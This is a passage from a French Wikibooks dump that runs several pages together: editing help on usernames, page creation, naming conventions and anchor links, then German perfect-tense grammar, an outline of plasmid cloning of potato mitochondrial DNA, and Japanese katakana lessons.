chaque modification apportée, au lieu de n'afficher qu'une [[adresse IP]] ; :*de se reconnecter d'un autre ordinateur, sous le même identifiant ; :*d'avoir accès à la fonction de [[Aide:Comment renommer une page|renommage]] de page. '''Q. Comment créer un nom d'utilisateur ?''' :'''R.''' En suivant le lien <font style="color:blue">Créer un compte ou se connecter</font> en haut de page, puis en remplissant le formulaire d'inscription. '''Q. Est-il possible de se retrouver avec le même nom d'utilisateur qu'une autre personne ?''' :'''R.''' Non. '''Q. Existe-t-il des règles en matière de choix de nom d'utilisateur ?''' :'''R.''' N'importe quel mot peut être utilisé (toutefois un nom insultant ne serait probablement pas bien perçu par les autres utilisateurs enregistrés et il vous sera probablement demandé d'en changer). Vous pouvez utiliser votre nom réel si vous le souhaitez. '''Q. Puis-je utiliser un surnom ?''' :'''R.''' Oui, voir dans vos préférences. Évitez toutefois de prendre le même surnom qu'un autre éditeur. Il serait difficile de savoir qui est qui. '''Q. Comment puis-je signer mes contributions ?''' :'''R.''' La signature est conservée dans l'historique des modifications de chaque article. Nous ne signons pas les articles, puisque chaque article est collectif. '''Q. J'ai changé d'avis et veux utiliser un autre nom d'utilisateur. Est-ce possible tout en gardant mon compte ?''' :'''R.''' C'est possible, demandez au [[Wikilivres:Le Bistro]] ou sur sur [[w:en:Wikipedia:Changing username]]. '''Q. Je voudrais changer l'attribution d'une édition.''' :'''R.''' [[w:en:Wikipedia:Changing attribution for an edit]] ---- Retour [[Wikilivres:Aide]] Wikilivres:Comment démarrer une page 3331 14852 2005-04-24T17:10:36Z Antoinel 182 Il y a deux façons simples de démarrer une page : # Pendant que vous lisez des articles Wikilivres existants, vous trouvez des liens cliquables en rouge ou des liens suivis d'un ''?''. Vous pouvez cliquer sur un de ces liens, et vous allez arriver sur une page disant : « Saisissez votre article ici... ». Effacez simplement ce texte et remplacez-le par votre article. Lorsque vous avez fini, cliquez sur le bouton « Sauvegarder » en bas de la page. (Utilisez le bouton « Prévisualisation » si vous voulez d'abord voir à quoi ressemble la page.) &mdash; Modifier arbitrairement des pages en ajoutant/wikifiant un terme nouveau et ensuite ajouter une entrée bien écrite reliant à cette page est un très bon moyen pour ajouter continuellement des nouveaux sujets à Wikilivres. # Si vous voulez aborder un sujet vraiment nouveau, la première chose à faire est probablement d'utiliser le dialogue « Rechercher » (regardez à gauche de cette page, par exemple) et de voir si vous ne pouvez pas trouver un domaine connexe (souvent une entrée générale, comme [[Philosophie]] ou [[Biologie]]), éditer ''cette'' page, et (à l'endroit approprié) ajouter le titre de l'article que vous voulez créer entre des crochets doubles, <nowiki>[[comme cela]]</nowiki>. Lorsque vous nommez les pages, vous devez garder à l'esprit les suggestions sur les [[Wikilivres:Règles de nommage|règles de nommage]]. Ensuite, pressez le bouton « Sauvegarder » en bas de la page. Sur la page que vous venez d'éditer, vous devriez voir un lien cliquable en rouge; cliquez dessus et commencez à travailler sur votre nouvelle page ! &mdash; Créer des domaines totalement nouveaux est une importante façon d'aider Wikilivres à augmenter son étendue (et sa profondeur). Avant de démarrer une nouvelle page, faites attention à vérifier qu'il n'existe pas déjà des articles sur des sujets similaires, ou un article sur le même sujet, mais avec un nom différent. Il est donc important de vérifier l'inexistence de ces articles avant de commencer à rédiger le vôtre. ---- Retour [[Wikilivres:Aide]] Wikilivres:Conventions sur les titres d'articles 3333 44806 2006-06-17T10:27:18Z Nicombo 684 /* Astuce */ Retour [[Wikilivres:Aide]] Cet article est la traduction de la page anglaise [[:en:Wikibooks:Naming policy]] Cette page n'a pas pour objet d'oblitérer les discutions qui ont déjà eu lieu ([[Wikilivres:Prise de décision/Conventions de nommage]]) mais de fournir une base un peu solide grace à l'expérience du wiki anglophone. ---- La page anglaise contient un bandeau signifiant que les indications contenues dans la page sont '''fortement recommendées''' et constituent un standard. ---- ==La convention== Chaque chapitre ou livre d'un wikilivre devrait demarrer par le nom du livre suivi d'un slash (/): <tt>Titre_du_livre/Nom_du_chapitre</tt>. Après ça, les auteurs d'un livre sont libres de décider de la structure la plus adaptée au livre. La seule condition est que si une structure hiérarchique est utilisée sur la page principale, un slash devrait etre utilisé comme séparateur : *<tt>Titre_du_livre/Chapitre/Nom_de_page</tt>; *<tt>Titre_du_livre/Chapitre/Nom_de_page/Nom_de_sous-page</tt>; *etc. === Exemples=== On peut voir comment les conventions sont appliquées sur ces deux exemples (en anglais) : * [[:en:Chess]] montre un structure plate, chaque nom de page consiste seulement en deux parties. * [[:en:Muggles' Guide to Harry Potter]] montre une structure plus profonde, avec des noms de pages plus longs. La structure plate est généralement plus populaire. ---- <tt>Je n'ai pas traduit les paragraphes spécifiques au wiki anglais : dates d'application de la convention, violation de la convention, bandeau de signalement, bot de renomage et vote.</tt> ---- == Astuce == Notez que chaque page avec un slash dans le nom génère automatiquement un lien vers la hiérarchie. Vous pouvez aussi utiliser un style de lien adéquat, particulièrement utiledans la table des matières de votre livre. * <tt><nowiki>[[/Chapitre/]]</nowiki></tt> sur la page <tt>Livre</tt> à la place de <tt><nowiki>[[Livre/Chapitre|Chapitre]]</nowiki></tt> * <tt><nowiki>[[/Chapitre|titre du lien]]</nowiki></tt> sur la page <tt>Livre</tt> à la place de <tt><nowiki>[[Livre/Chapitre|titre du lien]]</nowiki></tt> * <tt><nowiki>[[../Unautrechapitre/]]</nowiki></tt> sur la page <tt>Livre/Chapitre</tt> au lieu de <tt><nowiki>[[Livre/Unautrechapitre|Unautrechapitre]]</nowiki></tt> [[da:Wikibooks:Navngivning]] [[es:Wikibooks:Convenciones nombrando artículos]] [[pl:Wikibooks:Nazewnictwo artykułów]] [[pt:Wikibooks:Nomenclaturas]] Image:Capacites traitements.png 3334 14855 2005-04-24T17:42:35Z Bionet 111 Document réalisé par ~~~~ sous licence wikibooks Document réalisé par [[Utilisateur:Bionet|Bionet]] 24 avr 2005 à 17:42 (UTC) sous licence wikibooks Image:Production par materiaux.png 3335 14856 2005-04-24T17:44:32Z Bionet 111 Document réalisé par ~~~~ sous licence wikibooks Document réalisé par [[Utilisateur:Bionet|Bionet]] 24 avr 2005 à 17:44 (UTC) sous licence wikibooks Image:Cout a la tonne triee.png 3336 14857 2005-04-24T17:54:52Z Bionet 111 document réalisé par ~~~~ sous licence wikibooks document réalisé par [[Utilisateur:Bionet|Bionet]] 24 avr 2005 à 17:54 (UTC) sous licence wikibooks Wikilivres:Syntaxe wikilivres/Lien ancré 3337 14858 2005-04-24T18:02:50Z Antoinel 182 Le système des ancres et des liens ancrés peut être très utile sur des pages d'articles assez long. Par exemple, sur les sites internet, on trouve souvent des liens en bas de page vers le haut de la page, ou alors si une page contient une liste quelconque classée par ordre alphabétique, il y a souvent des liens vers chaque première lettre, le tout sur la même page. Sur le wikipédia, un système de table des matières pointant vers chaque chapitre se crée automatiquement pour les articles avec un certain nombre de chapitres et sous-chapitres. Mais que faire lorsque l'on doit dans un article lister par ordre alphabétique ? Laisser les 26 lettres apparaître dans la table des matières ? Ça peut plaire comme ça peut ne pas. On peut par exemple préférer faire une table de raccourcis sur une seule ligne, et décider soit-même où la placer dans l'article, comme ceci : <blockquote style="background: white; border: 1px solid black; padding: 1em;"> <center>Symboles - A - B - C - D - E - F - G - H - I - J - K - L - M - N - O - P - Q - R - S - T - U - V - W - X - Y - Z</center> </blockquote> Les liens ancrés ne doivent pas nécessairement pointer vers quelque part dans la page en cours. Par exemple, il peut arriver que l'on veuille pointer vers un chapitre particulier d'un article, et non vers le haut de la page de l'article. Cela est peu fréquent ''a priori'', mais peut arriver. ==Définitions== ===Ancre=== Une ancre est un emplacement dans la page, par exemple un titre de chapitre, vers laquelle peut pointer un lien cliquable. Cliquer sur ce lien déplacera la position dans la page, de manière à ce que l'ancre soit affichée en haut. Bien qu'il soit possible qu'une ancre ne soit qu'un point invisible dans la page, il est souvent recommandé de faire en sorte qu'une ancre soit un texte visible. Autrement dit, dans l'exemple précédent, l'ancre devrait être le titre de chapitre lui-même, et non pas la position avant ou après le titre de chapitre. Une ancre est nommée, avec un nom qui doit l'identifier de manière unique dans la page. Pour des raisons de facilité d'édition, il est préférable qu'une ancre porte un nom en rapport avec ce qu'elle représente, mais ce n'est pas nécessaire techniquement. ===Lien ancré=== Un lien ancré est un lien cliquable normal, à cela près qu'il ne pointe pas seulement sur une page, mais également sur une ancre de cette page. L'ancre peut se trouver tant sur la page courante que sur une autre page. Pour ce faire, le lien indique simplement le nom de l'ancre vers laquelle il pointe. ==Exemples== ===Exemples d'ancres=== <font id="ancre_1">Ceci est l'ancre nommée "ancre_1."</font> <font id="ancre_2">Et ceci est l'ancre nommée "ancre_2."</font> est écrit ainsi : <blockquote style="background: white; border: 1px solid black; padding: 1em;"> <pre><nowiki><font id="ancre_1">Ceci est l'ancre nommée "ancre_1."</font> <font id="ancre_2">Et ceci est l'ancre nommée "ancre_2."</font></nowiki></pre> </blockquote> On remarquera que cet exemple utilise la balise HTML <nowiki><font></nowiki> pour définir une ancre. Il n'est pas nécessaire d'utiliser cette balise en particulier, mais il est nécessaire d'utiliser une balise HTML reconnue par le wiki. Ici, <nowiki><font></nowiki> a été employé car cette balise seule ne modifie pas l'apparence du texte, et n'est pas censée le faire tant que l'on indique pas un attribut modificateur. En véritable HTML, on préfère souvent utiliser la balise <a> pour définir une ancre, mais cette balise n'est pas reconnue par le wiki, et elle serait affichée telle quelle plutôt que de définir une ancre. ===Exemples de liens ancrés=== Voici un [[#ancre_1|lien]] vers l'ancre 1 de la page. Et un autre [[#ancre_2|lien]] vers l'ancre 2 de la page. est écrit ainsi : <blockquote style="background: white; border: 1px solid black; padding: 1em;"> <pre><nowiki>Voici un [[#ancre_1|lien]] vers l'ancre 1 de la page. Et un autre [[#ancre_2|lien]] vers l'ancre 2 de la page.</nowiki></pre> </blockquote> Ces deux liens sont internes à la page : ils pointent vers un emplacement de la page en cours, comme l'indique le fait qu'ils ne précisent qu'un nom d'ancre avec un nom de page implicite. Maintenant un [[Wikipédia:Syntaxe wikipédia#ancre_1|lien]] vers l'ancre 1 de la page [[Wikipédia:Syntaxe wikipédia]]. Et un [[Wikipédia:Syntaxe wikipédia#ancre_2|lien]] vers l'ancre 2 de cette même page. Ce qui s'écrit ainsi : <blockquote style="background: white; border: 1px solid black; padding: 1em;"> <pre><nowiki>Maintenant un [[Wikipédia:Syntaxe wikipédia#ancre_1|lien]] vers l'ancre 1 de la page [[Wikipédia:Syntaxe wikipédia]]. Et un [[Wikipédia:Syntaxe wikipédia#ancre_2|lien]] vers l'ancre 2 de cette même page.</nowiki></pre> </blockquote> Voici pour les liens ancrés sur une autre page du wikipédia. Voici à présent un [http://fr.wikipedia.org/wiki/Wikipédia:Syntaxe_wikipédia#ancre_1 lien] vers l'ancre 1 de la page [[Wikipédia:Syntaxe wikipédia]], présenté comme un lien externe. Et un [http://fr.wikipedia.org/wiki/Wikipédia:Syntaxe_wikipédia#ancre_2 lien] vers l'ancre 2 de cette même page, dans les mêmes conditions. Ce qui s'écrit : <blockquote style="background: white; border: 1px solid black; padding: 1em;"> <pre><nowiki>Voici à présent un [http://fr.wikipedia.org/wiki/Wikipédia:Syntaxe_wikipédia#ancre_1 lien] vers l'ancre 1 de la page [[Wikipédia:Syntaxe wikipédia]], présenté comme un lien externe. Et un [http://fr.wikipedia.org/wiki/Wikipédia:Syntaxe_wikipédia#ancre_2 lien] vers l'ancre 2 de cette même page, dans les mêmes conditions. </nowiki></pre> </blockquote> Ces deux liens, bien que bel et bien vers le wikipédia pour la nécessité de l'exemple, sont notés comme des liens vers des sites externes au wikipédia. Retour [[Wikilivres:Aide]] Allemand:Le parfait 3338 44186 2006-06-08T20:03:57Z Stanlekub 1597 revert On emploie le parfait pour un évènement terminé. Le parfait peut-être un bilan. On le traduit en français par le passé composé. __NOTOC__ == Formation == Le parfait se forme à l'aide de l'auxillaire '''haben''' ou '''sein''' conjugué au présent et du participe passé du verbe considéré.<br /> [[Image:Wikibooks-page.gif]] [[Allemand:Le présent#Conjugaison des auxillaires au présent|Voir la conjugaison des auxillaires au présent]] === Phrase déclarative === <table WIDTH="80%" align="center"><tr><td style="background-color: #C3C3FF; border: solid 1px #5656FF; padding: 1em;" valign=top><center>'''SUJET''' + '''AUXILLAIRE SEIN ou HABEN''' + '''COMPLEMENT'''' + '''PARTICIPE PASSE''' </center> </td></tr></table> === Phrase interrogative === <table WIDTH="80%" align="center"><tr><td style="background-color: #C3C3FF; border: solid 1px #5656FF; padding: 1em;" valign=top><center>'''AUXILLAIRE SEIN ou HABEN''' + '''SUJET''' + '''COMPLEMENT''' + '''PARTICIPE PASSE''' </center> </td></tr></table> == Choix de l'auxillaire == On emploie l'auxillaire sein avec : : - les verbes sein, werden, bleiben : - les verbes intransitifs qui expriment un changement d'état, de lieu ou un mouvement<br /> Exemple : <br /> On emploie l'auxillaire haben avec : : - les verbes de position (bleiben exepté) : - les verbes réfléchis : - les verbes transitifs<br /> Exemple : <br /> == Conjugaison des auxillaires == <table><tr> <td width=300px> === Conjugaison du verbe sein ('''être''') === {| style="border: 1px solid darkgray" cellpadding=4 ! colspan=2 bgcolor=#FFFFCC | Sein || bgcolor=#FFFFCC | être |----- | width=80px | ich || width=80px | bin gewesen || width=80px | j'ai été |----- |du ||bist gewesen || tu as été |----- |er/sie/es ||ist gewesen || il/elle/on a été |----- |wir ||sind gewesen || nous avons été |----- |ihr ||seid gewesen || vous avez été |----- |Sie, sie ||sind gewesen || ils ont été |} </td> <td width=300px> === Conjugaison du verbe haben ('''avoir''') === {| style="border: 1px solid darkgray" cellpadding=4 ! colspan=2 bgcolor=#FFFFCC | Haben || bgcolor=#FFFFCC | avoir |----- | width=80px | ich || width=80px | habe gehabt|| width=80px | j'ai eu |----- |du || hast gehabt || tu as eu |----- |er/sie/es || hat gehabt || il/elle/on a eu |----- |wir ||haben gehabt || nous avons eu |----- |ihr || habt gehabt|| vous avez eu |----- |Sie, sie || haben gehabt || ils ont eu |} </td></tr></table> <br /> === Conjugaison du verbe werden (devenir) === {| style="border: 1px solid darkgray" cellpadding=4 ! colspan=2 bgcolor=#FFFFCC | Werden || bgcolor=#FFFFCC | devenir |----- | width=80px | ich || bin geworden || width=100px | je suis devenu |----- |du ||bist geworden || tu es devenu(e) |----- |er/sie/es ||ist geworden || il/elle/on est devenu(e) |----- |wir || sind geworden || nous sommes devenus |----- |ihr ||seid geworden || vous êtes devenus |----- |Sie, sie || sind geworden || ils sont devenus |} <br /> ---- Retour au [[Enseignement de l'allemand|sommaire]]. ---- Allemand:Le plus-que-parfait 3339 14860 2005-04-24T18:41:03Z Antoinel 182 On emploie le plus-que-parfait pour situer un évènement du passé par rapport à un autre évènement du passé. En français, il s'agit également du plus-que-parfait. == Formation == Pour former le plus-que-parfait, on utilise l'auxillaire sein ou haben au prétérit et le participe passé du verbe considéré. ---- Retour au [[Enseignement de l'allemand|sommaire]] ---- Hybridation et clonage 3340 44231 2006-06-09T15:20:21Z Stanlekub 1597 revert Le but de cet article est de présenter les méthodes d'hybridation et de clonage en Biologie Moléculaire. Pour faciliter la compréhension des données théoriques, un exemple concret a été choisi et c'est lui qui sert de charpente à tout cet article. ==Caractéristiques du Travail== *Sujet : "Clonage du fragment homologue à l'orf86a de Marchantia polymorpha chez Solanum tuberosum L. et étude de sa structure et conservation." ==Présentation== Les végétaux terrestres contiennent trois génomes différents : nucléaire, chloroplastique, mitochondrial. Le génome nucléaire, très grand en terme de longueur d'ADN, est globalement connu à partir d'une approche génetique et non moléculaire. Par contre, les deux autres génomes sont plus petits et leur ADN peut être séquencé relativement facilement. On connait ainsi la séquence intégrale des ADN chloroplastiquesd'un certain nombre de plantes (Tabac, Riz) dont les longueurs sont toujours de l'ordre de 150 kb (1kb = 1 000 paires de nucléotides). Une plus grande taille des ADN mitochondriaux (ADNmt) des plantes (variant suivant la plante entre 300 et 600 kb) explique le retard pris dans le sequencage intégral d'ADN mt. Néanmoins, il existe à l'heure actuelle au moins deux séquences complètes : celle de l'ADN mt d'une Bryophyte, Marchantia polymorpha, et celle de la plante supérieure (Angiosperme) Arabidopsis thaliana. Beaucoup de travaux antérieurs a ces séquençages intégraux ont été consacrés à définir le contenu en gènes du génome mt des Angiospermes; les mêmes gènes mitochondriaux étaient apparemmment retrouvés chez toutes les plantes. Néanmoins, plusieurs études ont montré que certains de ces gènes étaient absents de l'ADN mt de quelques espèces et que chez ces mêmes espèces la séquence correspondant était retrouvée dans le génome nucléaire. De ces observations on a tiré la conclusion que des gènes mt peuvent occasionnellement être transférés puis intégrés dans le génome nucléaire. La mise en évidence du contenu complet en séquences codantes de l'ADN mt du Bryophyte Marchantia polymorpha a permis de réaliser qu'un certain nombre de ces séquences ne correspondaient pas à des séquences déjà identifiées chez les plantes supérieures alors qu'inversement toutes les séquences de gènes mt déjà identifiées chez les plantes supérieures avaient leur homologue chez Marchantia polymorpha. Il est donc tentant d'essayer de compléter notre connaissance du jeu de gènes mt des plantes supérieures en recherchant si -et si oui lesquelles- des séquences analogues aux séquences codantes mt de Marchantia polymorpha peuvent y être identifiées. ==Objectif du Laboratoire== Le but des recherches est donc d'identifier de nouvelles séquences codantes mitochondriales chez les plantes supérieures (Angiospermes) à l'aide de sondes hétérologues correspondant aux gènes "putatifs" présents dans le génome mitochondrial de Marchantia polymorpha et de caractériser leur structure et leur expression. ==Objectif du Travail== Le but de ce travail est le clonage de le séquencage d'un fragment d'ADN mt de pomme de terre (''Solanum tuberosum'' L.) homologue à la séquence de l'orf86a ("orf" : cadre de lecture ouvert) de ''Marchantia polymorpha'', l'étude de sa structure et de son degré de conservation. Cette recherche sera menée à l'aide des techniques classiques de biologie moléculaire : électrophorèse sur gel, centrifugation en gradient de CsCl, PCR, hybridation ADN/ADN du type Southern, clonage de gènes dans pBluescript, transformation d'E.Coli, séquençage d'ADN. ==Plan de Travail== ===Extraction de l'ADNmt de pomme de terre=== [[Image:ADN extraction.png]] #Extraction des mitochondries de Solanum tuberosum L. #Extraction de l'ADNmt et restriction enzymatique de ce même ADN. #Séparation sur gel d'agarose des différents fragments obtenus. #Empreinte du gel (Southern Blot) sur une membrane de nylon. ===Hybridation de la séquence de l'orf86a de Marchantia polymorpha avec l'ADN mt de pomme de terre digéré par differentes enzymes de restriction=== [[Image:ADN hybridation.png]] #Augmentation du stock d'orf86a par PCR. #Purification et quantification de cet orf86a. #Préparation des sondes radioactives a partir d'orf86a. #Hybridisation sur la membrane de nylon. #Lavage, exposition sur un film radiosensible et révélation. ===Sélection d'un fragment de restriction de l'ADN mt de pomme de terre portant la séquence homologue à l'orf86a de Marchantia polymorpha=== [[Image:ADN purification.png]] #Calcul de la taille du fragment homologue. #Migration de l'ADNmt de Solanum tuberosum L. sur gel d'agarose. #Récupération du fragment homologue à l'orf86a. #Purification et quantification de ce même fragment ===Clonage du fragment et transformation d'E.Coli=== [[Image:ADN clonage.png]] #Digestion de pBluescript avec la même enzyme qui a servi à digérer S. tuberosum. #Clonage du fragment homologue dans le plasmide pBluescript. #Transformation dans E.Coli compétente. #Criblage des cellules transformées #Culture de E.Coli transformée et expression du nouveau gène. ==Annexes== ===L'ADNmt de Marchantia polymorpha.=== Nous recherchons une carte de l'ADN mitochondrial de Marchantia polymorpha libre de droit pour l'insérer ici. * L'orf86a de Marchantia polymorpha est une séquence codant pour l'équivalent de 86 acides aminés. ===Qu'est-ce qu'une "orf" ?=== * Orf ou Open Reading Frame est en fait une portion d'ADN comprise entre un codon START et un codon STOP de Transcription. On peut donc supposer qu'un gène est suceptible de s'exprimer entre ces deux codons. ===Cloner un gène dans pBluescript.=== [[http://www.fermentas.com/techinfo/nucleicacids/img/mappblueplus.gif Voir la carte du plasmide sur un site extérieur]] * Pour cloner un gène de Solanum tuberosum L. dans le plasmide pBluescript il suffit d'ouvrir le plasmide avec la même enzyme de restriction qui a servie a fractionner l'ADNmt de la pomme de terre et d'y insérer le dit gène. ==Ailleurs sur le net== *Articles issus du site du CGDC de l'Université Paris-Sud : **[http://cgdc3.igmors.u-psud.fr/microbiologie/Chap01_06.htm Article très intéressant présentant les "Théories sur l'origine des eucaryotes"] **[http://cgdc3.igmors.u-psud.fr/microbiologie/mitochondrie.htm Autre article présentant "La mitochondrie"] *La publication liée à cette recherche **[http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?cmd=Retrieve&db=PubMed&list_uids=12172970&dopt=Abstract Transcription of succinate dehydrogenase subunit 4 (sdh4) gene in potato: detection of extensive RNA editing and co-transcription with cytochrome oxidase subunit III (cox3) gene] Méthode de Japonais:Instructions 3342 41587 2006-05-04T14:52:57Z 86.195.207.116 /* Où et comment placer la transcription des kanjis ? */ == Introduction == L'objectif de cette page est de définir les grandes lignes et quelques règles quant à l'écriture d'une [[:Catégorie:Méthode de Japonais|Méthode de Japonais]] dans Wikilivres. L'ensemble de ces règles doit permettre à chacun de comprendre la "philosophie" de rédaction de cette Méthode afin de pouvoir y contribuer de manière la plus constructive possible. Note: Wikilivres n'a pas le devoir de se limiter à une seule méthode. Si certains contributeurs préfèrent suivre une approche complètement différente, d'autres méthodes "parallèles" peuvent être rédigées. == Objectifs de la méthode == == Romaji, Hiragana, Katakana, Kanji == La transcription en [[w:fr:Katakana|katakana]] ne doit être utilisée que pour les mots écrits en katakana dans la langue Japonaise. == Où et comment placer la transcription des kanji ? == Différentes possibilités - choix non arrêtés. {|{{prettytable}} |+ '''Transcriptions des kanjis''' ! N. !! Exemple !! Avantages !! Inconvenients |- ! rowspan=2 | 1 | <sub>げつようび</sub><br /> <big>月曜日</big> | rowspan=2 | * Correspondance kanji - transcription facile à reconnaître. * Fidèle aux mangas, livres pour enfant ou transcriptions usuelles des kanjis "difficiles" à lire dans les textes japonais. | rowspan=2 | * Écriture laborieuse pour les rédacteurs. * Problème de mise en page dépendant du browser utilisé. |- | <pre><sub>げつようび</sub><br /> <big>月曜日</big></pre> |- ! rowspan=2 | 2 | <big>月曜日 (げつようび)</big> | rowspan=2 | * Écriture plus facile pour les rédacteurs. * Pas de problème de mise en page. | rowspan=2 | * Lecture plus laborieuse du fait de la difficulté de mise en correspondance des hiraganas avec le bon kanji. |- | <pre><big>月曜日 (げつようび)</big></pre> |- ! rowspan=2 | 3 | <big> [[wiktionary:fr:月曜日|月曜日]] </big> | rowspan=2 | * Pas de surcharge des textes avec les transcriptions. * Utilisation du travail fait sous [[wiktionary:fr:accueil|Wiktionnaire]] et donnant tout son sens à l'ensemble du projet wiki. * Bonne documentation du mot: transcriptions + traductions + liens vers les kanjis composant le mot, etc. | rowspan=2 | * Lecture plus laborieuse du fait du besoin de surfer sur le web pour réussir à lire son texte. * Il va falloir aussi s'attabler sérieusement à la documentation aujourd'hui pauvre de [[wiktionary:fr:Catégorie:japonais]]. Mais pourquoi pas ? |- | <pre><big> [[wiktionary:fr:月曜日|月曜日]] </big></pre> |- ! rowspan=2 | 4 | <big> <ruby> <rb>月曜日</rb> <rp> (</rp> <rt>げつようび</rt> <rp>)</rp> </ruby> </big> | rowspan=2 | * Mise en page automatique par ruby. * Transcription correspond aux kanjis. * Espoir que ruby s'étende à d'autres browser qu'Internet Explorer ** [http://piro.sakura.ne.jp/xul/_rubysupport.html.en plug-in pour Firefox] ([http://piro.sakura.ne.jp/xul/_rubysupport.html.en homepage]) | rowspan=2 | * Aujourd'hui limité à Internet Explorer. * Correspondance peut être approximative. * Écriture légèrement laborieuse. * Mauvais support sur wikimedia des tags ruby-complex : <rbc> et <rtc> |- | <pre><big> <ruby> <rb>月曜日</rb> <rp> (</rp> <rt>げつようび</rt> <rp>)</rp> </ruby> </big></pre> |- ! rowspan=2 | 5 | {{furigana|月曜日|げつようび}} | rowspan=2 | * Facile à entrer * La lecture se fait en passant la souris dessus * Permet de cacher les furiganas pour ceux qui veulent s'entrainer à lire * 100% standard xhtml | rowspan=2 | * Lecture plus lente si on doit lire tous les furigana (ce qui est peut être un avantage pédagogique) * Disponible seulement sur un wiki tel "mediawiki" qui accepte les templates |- | <pre>{{furigana|月曜日|げつようび}}</pre> |} === Possibilité 1: === <Sub>げつようび</Sub><Br /> <big>月曜日</big> ==== Code ==== <pre><Sub>げつぞうび</Sub><Br /&gt; <big>月曜日</big></pre> ==== Notes ==== Pour les espaces, il faut faire attention d'utiliser l'Espace japonais et non pas l'Espace occidental. === Possibilité 2: === <big>月曜日 (げつようび)</big> ==== Code ==== <pre><big>月曜日 (げつようび)</big></pre> ==== Notes ==== === Possibilité 3: === <big>[[wiktionary:fr:月曜日|月曜日]]</big> ==== Code ==== <pre><big>[[wiktionary:fr:月曜日|月曜日]]</big></pre> ==== Notes ==== Il va falloir documenter: [[wiktionary:fr:Catégorie:japonais]]. === Possibilité 4: === <big><ruby><rb>月曜日</rb><rp>(</rp><rt>げつようび</rt><rp>)</rp></ruby></big> ==== Code ==== <pre><big> <ruby> <rb>月曜日</rb> <rp>(</rp> <rt>げつようび</rt> <rp>)</rp> </ruby> </big></pre> ==== Notes ==== Pour les navigateurs incorporant l'annotation ruby, les kanji apparaissent surmontés de petits hiragana correspondant à la prononciation.<br /> Pour les autres navigateur, les hiragana apparaissent simplement entre paranthèses à la suite des kanji. {{Méthode_de_Japonais}} [[Catégorie:Méthode de Japonais]] Japonais:Katakana 3347 43657 2006-05-31T20:07:44Z 82.66.56.148 /* Les katakana */ Retour à la [[Table des matières (Japonais)|table des matières]]. Voir [[w:fr:katakana|katakana]] pour l'historique = Les katakana = [[Image:Panneau_attention_20.png]] '''Une connaissance des [[Japonais:Hiragana|hiraganas]] est nécessaire si vous voulez suivre les leçons katakanas''' Les katakanas sont plus difficiles à apprendre et à distinguer. En général cela est dû au fait que l'on vient d'apprendre les hiraganas et que l'on cherche peu à expliquer les katakanas, car à deux ou trois différences près c'est la même chose que les [[hiragana|hiraganas]], c'est à dire les mêmes 47 syllabes, la même regle (voyelle longue, double consonne,etc). sauf que ce sont des lettres différentes. Pourtant les katakanas sont vitaaux ! Surtout si vous voulez allez un jour au Japon : vous servir d'un dictionnaire ou décoder le nom des personnages dans les mangas sera impossible sans avoir vu les katakanas. On va tenter d'optimiser * [[Japonais:Lecon Katakana 1|Lecon Katakana 1]] : * [[Japonais:Lecon Katakana 2|Lecon Katakana 2]] : * [[Japonais:Notation en Katakana|Notation en Katakana]] : Enfin une vision classique: * [[Japonais:Ecriture_Katakana_1|Ecriture Katakana 1]]: 1ère partie * [[Japonais:Ecriture_Katakana_2|Ecriture Katakana 2]]: * [[Japonais:Ecriture_Katakana_3|Ecriture Katakana 3]]: Lecon Katakana 1 3348 35057 2006-02-27T18:40:51Z 82.240.59.32 /* N, ソ So et ノ No */ = le tableau = Voici la liste complète .. comme vous pouvez le constatez c'est rigoureusement la même que les Hiragana sauf que les signes ont changés {| border="1" cellspacing="0" cellpadding="6" style="background:#FFFFE0;" style="text-align: center;" ! width="25" | &nbsp; ! width="25" | a ! width="25" | i ! width="25" | u ! width="25" | e ! width="25" | o ! width="25" | &nbsp; ! width="25" | a ! width="25" | i ! width="25" | u ! width="25" | e ! width="25" | o |- | &nbsp; | <big>あ</big> | <big>い</big> | <big>う</big> | <big>え</big> | <big>お</big> | &nbsp; | <big>ア</big> | <big>イ</big> | <big>ウ</big> | <big>エ</big> | <big>オ</big> |- ! k | <big>か</big> | <big>き</big> | <big>く</big> | <big>け</big> | <big>こ</big> ! k | <big>カ</big> | <big>キ</big> | <big>ク</big> | <big>ケ</big> | <big>コ</big> |- ! s | <big>さ</big> | <big>し</big> | <big>す</big> | <big>せ</big> | <big>そ</big> ! s | <big>サ</big> | <big>シ</big> | <big>ス</big> | <big>セ</big> | <big>ソ</big> |- ! t | <big>た<big> | <big>ち<big> | <big>つ<big> | <big>て<big> | <big>と<big> ! t | <big>タ</big> | <big>チ</big> | <big>ツ</big> | <big>テ</big> | <big>ト</big> |- ! n | <big>な<big> | <big>に<big> | <big>ぬ<big> | <big>ね<big> | <big>の<big> ! n | <big>ナ</big> | <big>ニ</big> | <big>ヌ</big> | <big>ネ</big> | <big>ノ</big> |- ! h | <big>は<big> | <big>ひ<big> | <big>ふ<big> | <big>へ<big> | <big>ほ<big> ! h | <big>ハ</big> | <big>ヒ</big> | <big>フ</big> | <big>ヘ</big> | <big>ホ</big> |- ! m | <big>ま<big> | <big>み<big> | <big>む<big> | <big>め<big> | <big>も<big> ! m | <big>マ</big> | <big>ミ</big> | <big>ム</big> | <big>メ</big> | <big>モ</big> |- ! y | <big>や<big> | | <big>ゆ<big> | | <big>よ<big> ! y | <big>ヤ</big> | | <big>ユ</big> | | <big>ヨ</big> |- ! r | <big>ら<big> | <big>り<big> | <big>る<big> | <big>れ<big> | <big>ろ<big> ! r | <big>ラ</big> | <big>リ</big> | <big>ル</big> | <big>レ</big> | <big>ロ</big> |- ! w | <big>わ<big> | | <big>ん<big> | |<big>を<big> ! w | <big>ワ</big> | | <big>ン</big> | | <big>ヲ</big> |} = Essayons de réorganiser la chose.. = Comme on connait, l'organisation du tableau ainsi que l'ordre des voyelles.. on n'a pas forcement besoin de les apprendres dans l'ordre. Je vous propose de découper le tableau en plusieurs catégories.. cela hélas ne vous empechera pas de devoir refaire plein de ligne d'écriture. = Catégorie N°1 : il ressemble au hiragana = Ils ressemblent exactement au hiragana en plus "carré" .. * カ=か=ka * キ=き=ki * コ=こ=ko * ヘ=へ=he * セ=せ=se * リ=り=ri * モ=も=mo * ヤ=や=ya = Catégorie N°2 : les "très pénibles" = Ici nous alons apprendre ici à différentier tsu, shi, so, no et n c'est beaucoup plus simple que l'on ne pense .. == シ shi et ツ tsu == [[Image:Difference between tsu and shi in japanese katakana.png|500 px|comment différencier shi et tsu]] *en bleu, le shi et tsu en hiragana *en noir, le shi et tsu en katakana *en vert, l'ordre des traits... *en rouge, le "mouvement" du pseudo pinceau... vous voyez comment la ressemblance avec le trait en bleu ? == N, ソ So et 